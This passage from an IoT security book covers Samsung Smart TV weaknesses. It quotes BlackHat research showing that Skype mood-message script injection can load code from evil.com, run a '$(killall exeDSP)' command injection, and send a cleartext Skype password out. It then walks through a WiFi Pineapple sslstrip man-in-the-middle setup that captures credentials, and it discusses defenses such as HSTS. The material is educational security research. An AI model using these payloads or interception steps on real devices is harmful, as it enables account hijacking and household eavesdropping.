in.onDestroy();' style='background-color: transparent; width: 1920px; height: 10
This gives us cursory background into the underlying platform of a SamSung Smart TV. The system is based on the Linux operating system and configured more or less like any other Linux device. We’ve seen evidence of the exeDSP executable, configuration files, and the X11 windows system. We’ve also seen yet another instance where the implemented encryption has been broken by way of leaked encryption keys available online. SamSung, other Smart TV manufacturers, and IoT device manufacturers and designers should take heed from these examples to understand that even though they may be using good encryption algorithms, they need to make sure they implement these algorithms with a proper understanding of their weaknesses.
Remotely Exploiting a SamSung Smart TV
Imagine if an intruder could remotely exploit your Smart TV that has a video camera attached to it. The privacy of you and your family are immediately at risk. In addition the private data and credentials stored within various Apps running on your Smart TV can be compromised. Researchers Aaron Grattafiori and Josh Yavor demonstrated attacks like this at the BlackHat 2013 security conference in Las Vegas. We will go through their research in this section.
SamSung provides a free Software Development Kit (SDK) that lets developers write custom Apps. These Apps can then be tested on a simulator and then submitted to the SamSung store for approval. On its website (Figure 5-5), Samsung promises “Samsung Smart TV has security modules to prevent to malicious TV Apps (from) running”. We’ve already seen how weakly encryption has been implemented and that encryption keys have been compromised. In addition to this, we will see an exploit in the next few paragraphs that makes the rest of Samsung’s security promise fall apart as well.
Figure 5-5. SamSung’s website promises security to developers
Samsung calls the Apps widgets. Every widget has the following files in its directory, examples of which can easily be seen in the included examples in the SDK:
§ config.xml: A simple XML files that defines and describes the various properties of the application.
§ Main.css: Style sheet definition to control the look and formatting of the application.
Grattafiori and Yavor looked at the Skype App included in the Samsung Smart TV starting with the config.xml:
<description>Skype application</description> <runTitle>Skype</runTitle>
<name>Samsung Electronics Co. Ltd.</name> <link>http://www.sec.co.kr/</link>
<organization>Samsung Electronics Co. Ltd.</organization> </author>
It is interesting that the name and organization is listed as Samsung even though Skype supplies the code. This signifies that Skype provided SamSung with the binaries and libraries to support the application but it was the Samsung engineers who actually developed and integrated the main application.
Here is the index.html for the Skype App:
<meta http-equiv="Content-Type" content="text/html">
<title>2011 MoIP Widget</title>
<OBJECT id="pluginObjectAppCommon_Skype" border=0 classid="clsid:SAMSUNG-
<OBJECT id="EmpSkype" border=0 classid="clsid:SAMSUNG-INFOLINK-SEF"></OBJECT>
PluginAPIMgr.GetMyStorageInfo = function()
var result = this.ExWidgetInterfacePlugin.Execute("ReadWidgetData
", "SkypeInfo"; return result;
Now imagine if you someone sent you a message on Skype and had the above as his or her mood message. You’d expect the App to actually display the mood message as <script src="http://evil.com/reboot.js"></script>. But instead, the Skype app actually processes the string as code and executes it. This causes the Skype App to fetch reboot.js and also process the code in it! Now imagine if the following were the content of reboot.js:
fileobject = document.createElement('object');
filePlugin = document.getElementById('pluginObjectFile');
// Kill exeDSP, forcing reboot
filePlugin.Copy("/proc/self/cmdline", "\$(killall exeDSP)/tmp/foo");
The researchers took things further with a scenario where the mood message of the malicious Skype user is the following:
creds = PluginAPIMgr.GetMyStorageInfo();
The researchers found that the GetMyStorageInfo() call actually returned the value of the user’s Skype password in clear text. This malicious code then sends the credentials to the evil.com server as a parameter. The attacker, who owns evil.com, can then look at the web server logs to note the password. At this point, the attacker can quickly log into Skype and hijack the victim’s account.
There have been various other researchers that have found additional flaws in SamSung Smart TVs that exploit basic security mechanisms, including input validation. One notable researcher in this field is SeungJin Lee who along with Seungjoo Kim found and reported multiple vulnerabilities to SamSung. Their research is worth reading and available online.
IoT device manufacturers such as SamSung definitely need to do a better job of implementing these basic principles to protect their business as well as the privacy of their loyal customers. A simple attack like this can be exploited to install a persistent backdoor on the Smart TV, allowing the attacker to continuously steal credentials and even remotely view the victims’ premises through the video camera attached to the TV(if present). These types of attacks can therefore compromise the privacy of an entire household. Smart TV and other IoT manufacturers must take these issues seriously and strive to implement security measures the industry has already learnt from correcting past mistakes.
Inspecting Your Own Smart TV (and other IoT devices)
There is a good chance that you own or have access to a Smart TV. In addition to being aware of the research presented so far, it is a good idea to dive deep into inspecting the network traffic from and to the TV. This promotes greater understanding of the topic of Smart TV security and gives you the opportunity to tinker with the system and perhaps find a new vulnerability to report to the manufacturer.
Say Hello to the Pineapple Mark V
The Pineapple Mark Vis a wonderful little device (Figure 5-6). Capturing network traffic is often cumbersome because it requires you to download various pieces of software such as tools and virtual machine images. Additionally, you need to specifically configure these tools and this can take up a lot of time and money. The Pineapple V is an all inclusive product in the form of an wifi access point that easily lets you capture network traffic and execute various types of network related attacks. The Pineapple V can be purchased online.
Figure 5-6. The Pineapple Mark V
We will use three devices in our scenario:
1. A Laptop that is connected to the internet and with an available ethernet port.
2. A Pineapple Mark V connected to the laptop via an ethernet cable.
3. A Smart TV connected to the wireless network exposed by the Pineapple Mark V.
First, we will setup a new Pineapple Mark V by connecting the laptop to it using an ethernet cable. For setup, we have to browse to http://172.16.42.1:1471 and we are presented with the screen shown in Figure 5-7.
Figure 5-7. The Setup screen
Upon clicking on “Continue”, you are asked to pick a password for the Pineapple Mark V. Make sure to select a fairly strong and complex password. Otherwise someone within physical vicinity of you may be able to connect to the Pineapple and potentially compromise your data and other devices on your network.
Once you click on “Set Password”, the Pineapple will reboot. Wait for a few minutes and then click on the “Continue” link that appears. A login screen will appear where you need to input the password you just created. Upon successful authentication, you’ll be shown the main section illustrated in Figure 5-8.
Figure 5-8. Main section upon login
Next, change the default name of the wifi network exposed by the Pineapple (example: “Trust_Me”). To do this, select “Karma” followed by “Karma Configuration” and enter “Trust_Me” in the “SSID” field below “SSID Configuration”. Then click on “Update” (Figure 5-9).
Figure 5-9. Change the default name of the wifi network exposed by the Pineapple
We will assume the laptop being used is running Linux. We will setup internet connection sharing so that the Pineapple can access the Internet via the laptop. (Instructions on how to do this in Windows and OSX are available online.)
On the Linux laptop, we download the internet-connection sharing script:
$ wget http://wifipineapple.com/wp5.sh
Next, we set the executable flag and run the script:
$ sudo ./wp5.sh
[sudo] password for apple:
_ ___ _______ ____ _ __
| | / (_) ____(_) / __ \(_)___ ___ ____ _____ ____ / /__
| | /| / / / /_ / / / /_/ / / __ \/ _ \/ __ '/ __ \/ __ \/ / _ \
| |/ |/ / / __/ / / / ____/ / / / / __/ /_/ / /_/ / /_/ / / __/
|__/|__/_/_/ /_/ /_/ /_/_/ /_/\___/\__,_/ .___/ .___/_/\___/
OWN the Network /_/ /_/ v2.2
Pineapple Netmask [255.255.255.0]:
Pineapple Network [172.16.42.0/24]:
Interface between PC and Pineapple [eth0]:
Interface between PC and Internet [wlan0]:
Internet Gateway [192.168.231.2]:
IP Address of Host PC [172.16.42.42]:
IP Address of Pineapple [172.16.42.1]:
_ . ___ \||/ Internet: 192.168.231.2 - wlan0
( _ )_ <--> [___] <--> ,<><>, Computer: 172.16.42.42
(_ _(_ ,) \___\ '<><>' Pineapple: 172.16.42.0/24 - eth0
Browse to http://172.16.42.1:1471
In this case, we accepted all the default options offered by the script. At this point, the Pineapple is connected to the Internet. Next, we configure the Smart TV to hop on to the “Trust_Me” network (refer to your TV’s manual for instructions on how select a particular wifi network). An example what this looks like is shown in Figure 5-10.
Figure 5-10. Cofigure the Smart TV to hop on to the Pineapple
Now, all network traffic to and from the TV will flow through the Pineapple.
Since the “Trust_Me” network is not protected by a password, anyone around you can also connect to it and potentially capture network traffic from your Smart TV that is connected to the Pineapple, or any other device connected to the Pineapple.
Capturing credentials and stripping TLS
In this section, we will demonstrate the sslstrip tool. This tool strips redirection to secure websites and helps perform a Man in the Middle attack. For example, if you’d like to login to Facebook, you are most likely to type in facebook.com in your web browser (the secure way to do this is to request the TLS encrypted version of the website by specifically typing in https://facebook.com but users normally don’t do this). Let’s use the telnet client to see what happens when the browser connects to facebook.com:
$ telnet www.facebook.com 80
Connected to star.c10r.facebook.com.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Date: Tue, 09 Dec 2014 04:46:59 GMT
Connection closed by foreign host.
Ah, so the browser is then redirected to the secure TLS encrypted version of the website and the user logs in. The sslstrip tool intercepts this redirect and never sends the browser any link starting with https. It also proxies the requests between the server, i.e. it connects to the destination (facebook.com) using TLS. To be able to do this, we require sslstrip to be on a device that is between the victim and the target destination. And this is exactly the situation we have in our case: The Smart TV is connected to the Pineapple and we have full control over the Pineapple.
The intention of this section is to show how to setup the Pineapple and begin to do preliminary eavesdropping on the Smart TV network traffic so we have willingly connected the Smart TV to a device such as the Pineapple. However, someone within physical vicinity of the Smart TV may also be able to use the Pineapple to broadcast a “fake” wireless network with the same name as the network the TV is configured to connect to. This can fool the TV into connecting to the Pineapple instead of the legitimate access point. This can be done using the built-in “Karma” tool. Instructions available online detail how to do this.
Let’s enable sslstrip on the Pineapple. From the main section, click on “Pineapple Bar” and select the “Pineapple Bar: Available” tab. Click “Show” next to the “User Infusions” section. You should see a list of “Infusions” populate (these are extensions created by other users to supplement the functionality of the Pineapple). Click on “Install” on the right hand of the “sslstrip” entry. Click on “Install to internal storage”. Now go back to the main section and you should see a new box for sslstrip (Figure 5-11).
Figure 5-11. sslstrip is installed on the Pineapple
Click on “Start” and then click on the link titled "sslstrip" to see the output. On the Smart TV, open up the web browser (most Smart TVs come with a default web browser; see your TV’s instructions) and browse to http://gmail.com. Enter “blah” for the email address and password and click on “Sign in”. Of course, the login attempt will fail but notice the address bar of the browser; the URL is still in the form of http (Figure 5-12). Try the same on a laptop that is not on the “Trust_Me” network and you will be redirected to a https link. This means that sslstrip worked.
Figure 5-12. Login attempt on Smart TV
On your Linux laptop, you should see the actual captured credentials in the “Output” section of sslstrip (Figure 5-13).
Figure 5-13. Captured credentials
To protect from sslstrip, servers can enable HTTP Strict Transport Security (HSTS). This will make the server issue a HTTP header with the string “Strict-Transport-Security”. When the browser sees this, it will remember to make sure to always connect using TLS when connecting to the domain that issued the header. The drawback of this is that if sslstrip is running for the first time, the browser won’t know that it must use TLS and the attacker can prevent the header from being passed along. As a result some browsers (example: Chrome and Firefox) have included some well known domains in a “Preload List” instructing the browser to always connect to those domains using TLS.
The Pineapple is a useful device for testing IoT objects that connect to the network. Check out the various additional “infusions” available for free. For example, you can use the dnsspoof to send the TV any IP address when it looks up the location of a particular server (for example you send 192.168.1.1 where you have a local web server installed instead of one of Google’s real IP address when the TV looks up google.com). In a paper titled “Smart TV Hacking”, Nikos Sidiropoulos and Periklis Stefopoulos found that their Samsung Smart TV connected to a web server at az43064.vo.msecnd.net to download the firmware update. They setup a local server on their laptop with the same firmware file and manually created an entry for az43064.vo.msecnd.net to point to their laptop’s IP address to see if the Smart TV would download the firmware from their laptop instead. It did. This was an interesting test to see if the TV contained any static entries for trusted servers (it didn’t). If you were to come across a condition such as this, you can easily test this scenario using the dnsspoof infusion on the Pineapple in case there is no direct access to the TV’s file system (to be able to create a static entry).
You can also easily capture all network traffic using the tcpdump infusion (and view it using the Wireshark tool). This can be used to test various functionalities of applications and reverse engineer their design. And this isn’t just limited to Smart TV’s. Test other IoT devices you have access to and see what you find. Have fun!
In the scope of our discussion, we learnt that Smart TVs are full-blown Linux machines. These devices are increasingly hopping on the wireless networks in homes and offices where we rely on them to be secure. Smart TV manufacturers also want to make sure these devices cannot be tampered with to protect their business. SamSung is one of the most popular Smart TV manufacturers, and as this chapter has shown, they’ve had a bad start.
In the world of traditional application security, we’ve learnt the basics of applying encryption the right way, including basic principles such as taking care to perform input validation. We’ve learnt to be careful of web-based design by making sure cross origin policies are strictly enforced. Within most schools of developers, how to implement such basic security is common knowledge. However, manufacturers like SamSung have not applied due diligence to security. This has resulted in millions of TVs sold by SamSung that are connected to the Internet and are possibly vulnerable to attacks (a lot of Smart TVs have auto update functionality enabled and this helps the situation, but attackers who’ve managed their way in are likely to disable auto updates). This situation can be abused by attackers to use the Smart TVs to launch attacks on other devices on the local network (and also on external third-party targets).
Attackers can also leverage this to gain access to video cameras connected to the TVs thereby violating the privacy of families. But it’s not just the attackers; privacy also depends upon how the system is designed. In an article titled “I’m terrified of my new TV”, author Michal Price talks of the voice recognition feature in his Smart TV which comes with this warning in the legal agreement: “Please be aware that if your spoken words include personal or other sensitive information, that information will be among the data captured and transmitted to a third party”. In other words, the voice collected by the TV’s microphone is processed in an external server on the Internet. This means that the actual spoken audio is accessible by a third party. Apple’s Siri also works this way. Some families and corporations may feel uneasy about enabling a feature like this, however many people are not aware that this is happening behind the scenes. Furthermore, it is unclear what the service provider is doing to make sure the audio captured on their servers is kept secure from intruders. The point here is that Smart TV manufacturers need to be clear and upfront of their intentions and provide evidence of due diligence so users are aware and can make their own choices.
The cyber security profession is thriving with researchers (such as the ones presented in this chapter) who are finding and reporting security issues, which is putting pressure on Smart TV providers to secure their platforms. Increased awareness of customers on potential risks and the options available to them will further assist in a positive way. Our TVs, still the most popular glass slabs around us, aren’t going anywhere anytime soon. We are going to see more Smart TVs around us in the next few years. We will enjoy all the new features they bring with them. With push in the right direction on part of the manufacturers and consumers, we hope to take our journey into the glass slab future as securely as possible.